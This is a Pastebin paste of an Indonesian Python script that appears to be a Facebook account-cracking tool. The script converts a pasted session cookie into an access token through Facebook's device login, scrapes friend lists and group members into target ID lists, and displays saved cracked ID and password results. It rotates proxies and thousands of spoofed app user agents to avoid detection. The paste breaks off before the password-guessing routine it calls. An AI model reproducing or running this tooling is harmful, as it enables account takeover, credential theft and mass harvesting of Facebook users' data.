OBF-XIn

125.164.234.103-/sdcard/spoky_xd.py.py

Jun 16th, 2023
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 66.04 KB | None | 0 0
  1. ###TOOLS INI BERSIFAT PRIVATE TOLONG JANGAN DI SEBAR, PATUHI ATURAN.NGAUTOR ABAL", INGAT JANGAM DI SEBAR, METODENYA BERSIFAT.PRIVATE NTAR GAK GACOR LO SALAHIN GW, KLO GK DAPAT TINGGAL GANTI USER UGENT DOANG UDAH GITU AJA !!!
  2. ###╭∩╮(︶.︶メ)[ IMPORT MODULE ](︶.︶メ)╭∩╮###
  3. import requests,bs4,json,os,sys,random,datetime,time,re,urllib3,rich,base64
  4. from time import sleep
  5. from rich import pretty
  6. from rich.tree import Tree
  7. from rich.panel import Panel
  8. from rich import print as cetak
  9. from rich import print as rprint
  10. from rich import print as prints
  11. from rich.progress import track
  12. from rich.text import Text as tekz
  13. from rich.console import Console
  14. from rich.columns import Columns
  15. from rich.panel import Panel as nel
  16. from rich.panel import Panel as panel
  17. from bs4 import BeautifulSoup as sop
  18. from bs4 import BeautifulSoup as par
  19. from rich.console import Group as gp
  20. from bs4 import BeautifulSoup as parser
  21. from rich.columns import Columns as col
  22. from rich.console import Console as sol
  23. from rich.markdown import Markdown as mark
  24. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  25. from concurrent.futures import ThreadPoolExecutor as tred
  26. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn,TransferSpeedColumn,DownloadColumn
  27. ###╭∩╮(︶.︶メ)[ USER UGENT ](︶.︶メ)╭∩╮###
  28. pretty.install()
  29. CON=sol()
  30. ugen=[]
  31. ugen2=[]
  32. ualu=[]
  33. ualuh=[]
  34. taplikasi=[]
  35. gabriel=[]
  36. opsi=[]
  37. proxxy=[]
  38. dump=[]
  39. cokbrut=[]
  40. ngentott = []
  41. ses=requests.Session()
  42. princp=[]
  43. try:
  44.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=100000&country=all&ssl=all&anonymity=all').text
  45.     open('.prox.txt','w').write(prox)
  46. except Exception as e:
  47.     exit(e)
  48. ###╭∩╮(︶.︶メ)[ USER UGENT ](︶.︶メ)╭∩╮###
  49. for agenku in range(10000):
  50.     a=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
  51.     b=random.choice(['4.0.4','6.0.1','7.1.1','8.1.0'])
  52.     c=random.randrange(73,100)
  53.     d=random.randrange(4200,4900)
  54.     e=random.randrange(40,150)
  55.     uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; GT-I9300 Build/IMM76D) [FBAN/Orca-Android;FBAV/5.0.0.16.1;FBLC/tr_TR;FBBV/{c}.0.{d}.{e};FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/GT-I9300;FBSV/4.0.4;FBCA/armeabi-v7a:armeabi;FBDM/:'+'{density=1.0,width=1066,height=552};]'
  56.     ugen.append(uakuh)
  57.    
  58.     a=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
  59.     b=random.choice(['8.0.0','6.0.1','7.1.1','8.1.0'])
  60.     c=random.randrange(73,100)
  61.     d=random.randrange(4200,4900)
  62.     e=random.randrange(40,150)
  63.     uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-A720F Build/R16NW) [FBAN/Orca-Android;FBAV/196.0.0.29.99;FBPN/com.facebook.orca;FBLC/th_TH;FBBV/{c}.0.{d}.{e};FBCR/AIS;FBMF/samsung;FBBD/samsung;FBDV/SM-A720F;FBSV/8.0.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  64.     ugen.append(uakuh)
  65.    
  66.     a=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
  67.     b=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
  68.     c=random.randrange(73,100)
  69.     d=random.randrange(4200,4900)
  70.     e=random.randrange(40,150)
  71.     uakuh=f'Dalvik/2.1.0 (Linux; U; Android {a}; SM-G900F Build/LRX21T) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  72.     ugen.append(uakuh)
  73.    
  74.     a=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
  75.     b=random.choice(['5.1.1','6.0.1','7.1.1','8.1.0'])
  76.     c=random.randrange(73,100)
  77.     d=random.randrange(4200,4900)
  78.     e=random.randrange(40,150)
  79.     uakuh=f'Dalvik/1.6.0 (Linux; U; Android {a}; SM-J320F Build/LMY47V) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-J320F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  80.     ugen.append(uakuh)
  81.    
  82. for xd in range(10):
  83.     a=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
  84.     b=random.choice(['5.0','6.0.1','7.1.1','8.1.0'])
  85.     c=random.randrange(73,100)
  86.     d=random.randrange(4200,4900)
  87.     e=random.randrange(40,150)
  88.     uakuh=f'Dalvik/2.1.0 (Linux; U; Android {a}; SM-G900F Build/LRX21T) [FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{c}.0.{d}.{e};FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]'
  89.     ugen2.append(uakuh)
  90.        
  91.     a='Mozilla/5.0 (Windows NT '
  92.     b=random.randrange(100, 9999)
  93.     c=random.randrange(100, 9999)
  94.     d='Win64; x64)'
  95.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  96.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  97.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  98.     h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  99.     i=random.randrange(1, 9)
  100.     j='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  101.     k=random.randrange(1, 9)
  102.     l=random.randrange(1, 9)
  103.     m='Safari/537.36 Edg/113.0.1774.57'
  104.     uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  105. def uaku():
  106.     try:
  107.         ua=open('bbnew.txt','r').read().splitlines()
  108.         for ub in ua:
  109.             ugen.append(ub)
  110.     except:
  111.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  112.         ua=open('.bbnew.txt','w')
  113.         aa=re.findall('line">(.*?)<',str(a))
  114.         for un in aa:
  115.             ua.write(un+'\n')
  116.         ua=open('.bbnew.txt','r').read().splitlines()
  117. ###╭∩╮(︶.︶メ)[ INDICATION ](︶.︶メ)╭∩╮###
  118. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  119. cokbrut=[]
  120. dia=[]
  121. atur = []
  122. wa = Console()
  123. console = Console()
  124. uadia, uadarimu = [],[]
  125. pwpluss,pwnya=[],[]
  126. ###╭∩╮(︶.︶メ)[ WARNA-COLOR ](︶.︶メ)╭∩╮###
  127. x = '\33[m' # DEFAULT
  128. m = '\x1b[1;91m' #RED +
  129. k = '\033[93m' # KUNING +
  130. h = '\x1b[1;92m' # HIJAU +
  131. hh = '\033[32m' # HIJAU -
  132. u = '\033[95m' # UNGU
  133. kk = '\033[33m' # KUNING -
  134. b = '\33[1;96m' # BIRU -
  135. p = '\x1b[0;34m' # BIRU +
  136. asu = random.choice([m,k,h,u,b])
  137. try:cek_data = requests.get("http://ip-api.com/json/").json()
  138. except:cek_data = {'-'}
  139. try:asal_kota = cek_data["city"]
  140. except:asal_kota = {'-'}
  141. try:asal_reg = cek_data["region"]
  142. except:asal_reg = cek_data['-']
  143. try:times = cek_data["timezone"]
  144. except:times = cek_data['-']
  145. try:city = cek_data["city"]
  146. except:city = cek_data['-']
  147. ###╭∩╮(︶.︶メ)[ WARNA-PRINT-RICH ](︶.︶メ)╭∩╮###
  148. M2 = "[#FF0000]" # MERAH
  149. H2 = "[#00FF00]" # HIJAU
  150. K2 = "[#FFFF00]" # KUNING
  151. B2 = "[#00C8FF]" # BIRU
  152. P2 = "[#FFFFFF]" # PUTIH
  153.  
  154. ###╭∩╮(︶.︶メ)[ CEK-WARNA-TEMA ](︶.︶メ)╭∩╮###
  155. try:
  156.     file_color = open("data/theme_color","r").read()
  157.     color_text = file_color.split("|")[0]
  158.     color_panel = file_color.split("|")[1]
  159. except:
  160.     color_text = "[#00FF00]"
  161.     color_panel = "#00C8FF"
  162. ###╭∩╮(︶.︶メ)[ CONVERTER-BULAN ](︶.︶メ)╭∩╮###
  163. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  164. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  165. tgl = datetime.datetime.now().day
  166. bln = dic[(str(datetime.datetime.now().month))]
  167. thn = datetime.datetime.now().year
  168. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  169. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  170.  
  171. ###╭∩╮(︶.︶メ)[ GET-TIME ](︶.︶メ)╭∩╮###
  172. def waktu():
  173.     now = datetime.now()
  174.     hours = now.hour
  175.     if 4 <= hours < 12:timenow = "good morning"
  176.     elif 12 <= hours < 15:timenow = "good afternoon"
  177.     elif 15 <= hours < 18:timenow = "good evening"
  178.     else:timenow = "good night"
  179.     return timenow
  180. ###╭∩╮(︶.︶メ)[ MACHINE-SUPPORT ](︶.︶メ)╭∩╮###
  181. def pepeh(u):
  182.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.004)
  183. def clear():
  184.     os.system('clear')
  185. def back():
  186.     login()
  187. ###╭∩╮(︶.︶メ)[ LOGO-LAKNAT ](︶.︶メ)╭∩╮###
  188. def banner():
  189.     clear()
  190.     cetak(nel(f'''[bold yellow] ______              __          _______                        
  191. |   __ \.----.--.--.|  |_.-----.|    ___|.-----.----.----.-----.
  192. |   __ <|   _|  |  ||   _|  -__||    ___||  _  |   _|  __|  -__|
  193. |______/|__| |_____||____|_____||___|    |_____|__| |____|_____|
  194.                                                                 ''',width=70,padding=(0,1),title=f"Banner",style=f"bold blue"))
  195. ###╭∩╮(︶.︶メ)[ BAGIAN-MASUK ](︶.︶メ)╭∩╮###
  196. def login():
  197.     try:
  198.         token = open('.token.txt','r').read()
  199.         cok = open('.cok.txt','r').read()
  200.         tokenku.append(token)
  201.         try:
  202.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  203.             sy2 = json.loads(sy.text)['name']
  204.             sy3 = json.loads(sy.text)['id']
  205.             menu(sy2,sy3)
  206.         except KeyError:
  207.             login_lagi334()
  208.         except requests.exceptions.ConnectionError:
  209.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  210.             lo = mark(li, style='red')
  211.             sol().print(lo, style='cyan')
  212.             exit()
  213.     except IOError:
  214.         login_lagi334()
  215. def login_lagi334():
  216.     try:
  217.         os.system('clear')
  218.         banner()
  219.         print('')
  220.         your_cookies = input(' Masukan Cookie : ')
  221.         with requests.Session() as r:
  222.             try:
  223.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  224.                 data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
  225.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  226.                 code, user_code = response['code'], response['user_code']
  227.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
  228.                 r.headers.pop('content-type')
  229.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  230.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  231.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  232.                     print(" ├╴>  Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  233.                 else:
  234.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  235.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  236.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  237.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  238.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  239.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  240.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  241.                         r.headers.pop('content-type');r.headers.pop('origin')
  242.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  243.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  244.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  245.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  246.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  247.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  248.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  249.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  250.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  251.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  252.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  253.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  254.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  255.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  256.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  257.                         r.headers.pop('content-type');r.headers.pop('origin')
  258.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  259.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  260.                         if 'Sukses!' in str(response6):
  261.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  262.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  263.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  264.                             print(f"\n ├╴>  Token : {access_token}")
  265.                             tokenew = open(".token.txt","w").write(access_token)
  266.                             cook= open(".cok.txt","w").write(your_cookies)
  267.                             print("\n ├╴>  Login Berhasil Jalankan Ulang Perintah Python nya");exit()
  268.             except Exception as e:
  269.                 print(" ├╴>  Cookies Mokad Kontol")
  270.                 os.system('rm -rf .cok.txt && rm -rf .token.txt')
  271.                 print(e)
  272.                 time.sleep(3)
  273.                 back()
  274.     except:pass
  275.        
  276. ###╭∩╮(︶.︶メ)[ BAGIAN-MENU ](︶.︶メ)╭∩╮###
  277. def menu(my_name,my_id):
  278.     try:
  279.         token = open('.token.txt','r').read()
  280.         cok = open('.cok.txt','r').read()
  281.     except IOError:
  282.         print(' [+] Cookies Kadaluarsa ')
  283.         time.sleep(5)
  284.         login()
  285.     os.system('clear')
  286.     banner()
  287.     negara = requests.get("http://ip-api.com/json/").json()["country"]
  288.     ip = requests.get("http://ip-api.com/json/").json()["query"]
  289.     dia.append(nel(f'[bold white][√[/][bold white]][/] [bold white]USERNAME : [bold green]{my_name}[/]\n[bold white][√[/][bold white]][/] [bold white]USER IDZ : [bold green]{my_id}[/]\n[bold white][√[/][bold white]][/] [bold white]TANGGAL  : [bold green]{tgl}[/][/]\n[bold white][√[/][bold white]][/] [bold white]STATUS   : [bold green]Premium[/][/] ',width=35,padding=(0,1),style=f"bold blue"))
  290.     dia.append(nel(f'[bold white][√[/][bold white]][/] [bold white]NEGARA    : [bold green]{negara}[/]\n[bold white][√[/][bold white]][/] [bold white]KOTA      : [bold green]{asal_kota}[/]\n[bold white][√[/][bold white]][/] [bold white]TIMEZONE  : [bold green]{times}[/][/]\n[bold white][√[/][bold white]][/] [bold white]ALAMAT IP : [bold green]{ip}[/][/] ',width=35,padding=(0,1),style=f"bold blue"))
  291.     console.print(Columns(dia))
  292.     cetak(nel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]CRACK PUBLICK [bold white][/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]CRACK FILE [bold white][/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]CRACK GROUP [bold white][/]\n[bold white][[bold cyan]04[/][bold white]][/] [bold white]CEK RESULT [bold white][/]\n[bold white][[bold cyan]05[/][bold white]][/] [bold white]CEK TAPYES [bold white][/]\n[bold white][[bold red]00[/][bold white]][/] [bold red]HAPUS COKIES [bold white][/]',width=35,padding=(0,1),title=f"[bold yellow] MENU IDZ ",style=f"bold blue"))
  293.     _____spoky__404_____ = input('\r╰─◕➤ PILIH MENU : ')
  294.     if _____spoky__404_____ in ['1']:
  295.         dump_massal()
  296.     elif _____spoky__404_____ in ['2']:
  297.         crack_file()
  298.     elif _____spoky__404_____ in ['3']:
  299.         crack_group()
  300.     elif _____spoky__404_____ in ['4']:
  301.         result()
  302.     elif _____spoky__404_____ in ['5']:
  303.         file_cp()
  304.     elif _____spoky__404_____ in ['0']:
  305.         os.system('rm -rf .token.txt')
  306.         os.system('rm -rf .cookie.txt')
  307.         print('╰─◕➤ Sukses Logout+Hapus Kukis ')
  308.         exit()
  309.     else:
  310.         print('╰─◕➤ Pilih Yang Bener Asu ')
  311.         back()
  312. def error():
  313.     print(f'{k}╰─◕➤ Maaf Fitur Ini Masih Di Perbaiki {x}')
  314.     time.sleep(4)
  315.     back()
  316.    
  317. ###╭∩╮(︶.︶メ)[ CRACK-GROUP ](︶.︶メ)╭∩╮###
  318. def crack_group():
  319.     try:
  320.         token = open('.token.txt','r').read()
  321.         cokies = open('.cok.txt','r').read()
  322.     except IOError:
  323.         print('╰─◕➤ Cookies Kadaluarsa ')
  324.         time.sleep(5)
  325.         login()
  326.     cetak(nel('PASTIKAN IDZ GROUP BERSIFAT PUBLICK , MOHOM BERSABAR DUMP ID GRUP SANGAT LAMBAT',width=70,style=f"bold green"))
  327.     url = input(f'╰─◕➤ IDZ GRUP : ')
  328.     kocak("https://mbasic.facebook.com/groups/"+url,cokies);setting()
  329.  
  330. def kocak(url,cokies):
  331.     data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
  332.     judul = re.findall("<title>(.*?)</title>",str(data))[0]
  333.     if str(judul) == 'Use basic mode':
  334.         print('\n╰─◕➤ Cokies Berada Dalam Mode Free');exit()
  335.     if str(judul) == 'Epsilon':
  336.         print('\n╰─◕➤ Cokies Tidak Dpt Mengakses Grup');exit()
  337.     if str(judul) == 'Kesalahan':
  338.         print('\n╰─◕➤ Cokies Yg Anda Masukan Salah');exit()
  339.     if str(judul) == 'Masuk Facebook' or str(judul) == 'Masuk Facebook | Facebook' or str(judul) == 'Masuk ke Facebook' or str(judul) == 'Log in to Facebook':
  340.         print('\n╰─◕➤ Cokies Mokad');exit()
  341.     else:
  342.         for isi in data.find_all("h3"):
  343.             for ids in isi.find_all("a",href=True):
  344.                 if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
  345.                 else:
  346.                     if ids.text==judul:pass
  347.                     else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
  348.                 if uid+"|"+nama in id:pass
  349.                 else:id.append(uid+"|"+nama)
  350.                 print('\r╰─◕➤ Mengumpulkan %s Id'%(len(id)),end='')
  351.         for x in data.find_all("a",href=True):
  352.             if "Lihat Postingan Lainnya" in x.text:
  353.                 kocak("https://mbasic.facebook.com"+x.get("href"),cokies)
  354.                    
  355. ###╭∩╮(︶.︶メ)[ CRACK-FILE ](︶.︶メ)╭∩╮###
  356. def crack_file():
  357.     try:vin = os.listdir('/sdcard/SPOKY-DUMP/')
  358.     except FileNotFoundError:
  359.         print(f'{m}╰─◕➤ File Tidak Ditemukan ')
  360.         time.sleep(2)
  361.         exit()
  362.     if len(vin)==0:
  363.         print(f'{m}╰─◕➤ Kamu Tidak Memiliki File Dump ')
  364.         time.sleep(2)
  365.         exit()
  366.     else:
  367.         cih = 0
  368.         lol = {}
  369.         for isi in vin:
  370.             try:hem = open('/sdcard/SPOKY-DUMP/'+isi,'r').readlines()
  371.             except:continue
  372.             cih+=1
  373.             if cih<100:
  374.                 nom = ''+str(cih)
  375.                 lol.update({str(cih):str(isi)})
  376.                 lol.update({nom:str(isi)})
  377.                 print('╭────────────────────────────╮')
  378.                 print(f'{P}├╴> 0%s %s ({h} %s idz )'%(nom,isi,len(hem)))
  379.                 print('╰────────────────────────────╯')
  380.             else:
  381.                 lol.update({str(cih):str(isi)})
  382.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  383.                 print(f'{P}╰─◕➤ %s. %s ({h} %s idz) '%(cih,isi,len(hem)))
  384.     dm = input(f'{P}╰─◕➤ PILIH : ')
  385.     try:geh = lol[dm]
  386.     except KeyError:
  387.         print(f'{m}╰─◕➤ Pilih Yang Bener Kontol ')
  388.         time.sleep(3)
  389.         exit()
  390.     try:lin = open('/sdcard/SPOKY-DUMP/'+geh,'r').read().splitlines()
  391.     except:
  392.         print(f'{m}╰─◕➤ File Tidak Ditemukan, Coba Lagi Nanti ')
  393.         time.sleep(2)
  394.         exit()
  395.     for xid in lin:
  396.         id.append(xid)
  397.     setting()
  398.        
  399. ###╭∩╮(︶.︶メ)[ HASIL-CRACK ](︶.︶メ)╭∩╮###
  400. def result():
  401.     cetak(nel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]HASIL OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]HASIL CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=70,title=f"[bold green]• [/][bold purple] LIST MENU CRACK [/][bold white] •[/]",style=f"bold blue"))
  402.     kz = input(f'\n╰─◕➤ Pilih : ')
  403.     if kz in ['2','02']:
  404.         try:vin = os.listdir('CP')
  405.         except FileNotFoundError:
  406.             print('╰─◕➤ File Tidak Di Temukan ')
  407.             time.sleep(3)
  408.             back()
  409.         if len(vin)==0:
  410.             print('╰─◕➤ Anda Tidak Memiliki Hasil CP ')
  411.             time.sleep(4)
  412.             back()
  413.         else:
  414.             cih = 0
  415.             lol = {}
  416.             for isi in vin:
  417.                 try:hem = open('CP/'+isi,'r').readlines()
  418.                 except:continue
  419.                 cih+=1
  420.                 if cih<10:
  421.                     nom = '0'+str(cih)
  422.                     lol.update({str(cih):str(isi)})
  423.                     lol.update({nom:str(isi)})
  424.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  425.                 else:
  426.                     lol.update({str(cih):str(isi)})
  427.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  428.             geeh = input(f'\n{P}{x}{P}└──◕➤ {x}{P}{x} {P}Select{x} : ')
  429.             try:geh = lol[geeh]
  430.             except KeyError:
  431.                 print('└──◕➤ Pilih Yang Bener Bro ')
  432.                 exit()
  433.             try:lin = open('CP/'+geh,'r').read().splitlines()
  434.             except:
  435.                 print('└──◕➤ File Tidak Di Temukan ')
  436.                 time.sleep(4)
  437.                 back()
  438.             nocp=0
  439.             for cpku in range(len(lin)):
  440.                 cpkuni=lin[nocp].split('|')
  441.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  442.                 sol().print(mark(cpkuh,style="yellow"))
  443.                 nocp +=1
  444.             input('└──◕➤ [ Klik enter ]')
  445.             back()
  446.     elif kz in ['1','01']:
  447.         try:vin = os.listdir('OK')
  448.         except FileNotFoundError:
  449.             print('└──◕➤ File Tidak Di Temuakan  ')
  450.             time.sleep(4)
  451.             back()
  452.         if len(vin)==0:
  453.             print('└──◕➤ Anda Tidak Mempunyai File OK ')
  454.             time.sleep(4)
  455.             back()
  456.         else:
  457.             cih = 0
  458.             lol = {}
  459.             for isi in vin:
  460.                 try:hem = open('OK/'+isi,'r').readlines()
  461.                 except:continue
  462.                 cih+=1
  463.                 if cih<80:
  464.                     nom = '0'+str(cih)
  465.                     lol.update({str(cih):str(isi)})
  466.                     lol.update({nom:str(isi)})
  467.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  468.                 else:
  469.                     lol.update({str(cih):str(isi)})
  470.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  471.             geeh = input('\n└──◕➤ Pilih : ')
  472.             try:geh = lol[geeh]
  473.             except KeyError:
  474.                 print('└──◕➤ Pilih Yang Bener Bro ')
  475.                 exit()
  476.             try:lin = open('OK/'+geh,'r').read().splitlines()
  477.             except:
  478.                 print('└──◕➤ File Tidak Di Temuakan ')
  479.                 time.sleep(4)
  480.                 back()
  481.             nocp=0
  482.             for cpku in range(len(lin)):
  483.                 cpkuni=lin[nocp].split('|')
  484.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  485.                 sol().print(mark(cpkuh,style="green"))
  486.                 print(f'{hh} USER UGENT : {x}{cpkuni[2]}')
  487.                 nocp +=1
  488.             input('└──◕➤ [ Klik enter ]')
  489.             back()
  490.     elif kz in ['3','03']:
  491.         back()
  492.     else:
  493.         print('└──◕➤ Pilih Yang Bener Bro  ')
  494.         back()
  495.        
  496. ###╭∩╮(︶.︶メ)[ CRACK-PUBLIK ](︶.︶メ)╭∩╮###
  497. def dump_massal():
  498.     try:
  499.         token = open('.token.txt','r').read()
  500.         cok = open('.cok.txt','r').read()
  501.     except IOError:
  502.         exit()
  503.     try:
  504.         jum = int(input('╰─◕➤ BERAPA TARGET : '))
  505.     except ValueError:
  506.         print('╰─◕➤ Masukkan Angka Anjing, Malah Huruff 🗿')
  507.         exit()
  508.     if jum<1 or jum>100:
  509.         print('╰─◕➤ Gagal Dump Idz ')
  510.         exit()
  511.     ses=requests.Session()
  512.     yz = 0
  513.     for met in range(jum):
  514.         yz+=1
  515.         kl = input('╰─◕➤ MASUKAN IDZ YANG KE '+str(yz)+' : ')
  516.         uid.append(kl)
  517.     for userr in uid:
  518.         try:
  519.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  520.             for mi in col['friends']['data']:
  521.                 try:
  522.                     iso = (mi['id']+'|'+mi['name'])
  523.                     if iso in id:pass
  524.                     else:id.append(iso)
  525.                 except:continue
  526.         except (KeyError,IOError):
  527.             pass
  528.         except requests.exceptions.ConnectionError:
  529.             print('╰─◕➤ Sinyal Loh Kek Kontoll ')
  530.             exit()
  531.     try:
  532.         print('╭────────────────────────────╮')
  533.         print(f'│ [√] TOTAL ID YANG TERKUMPUL │ : '+str(len(id)))
  534.         print('╰────────────────────────────╯')
  535.         setting()
  536.     except requests.exceptions.ConnectionError:
  537.         print(f'{x}')
  538.         print('╰─◕➤ Sinyal Lo kek Kontol ')
  539.         back()
  540.     except (KeyError,IOError):
  541.         print(f'╰─◕➤ {k} Pertemanan Tidak Public {x}')
  542.         time.sleep(3)
  543.         back()
  544.        
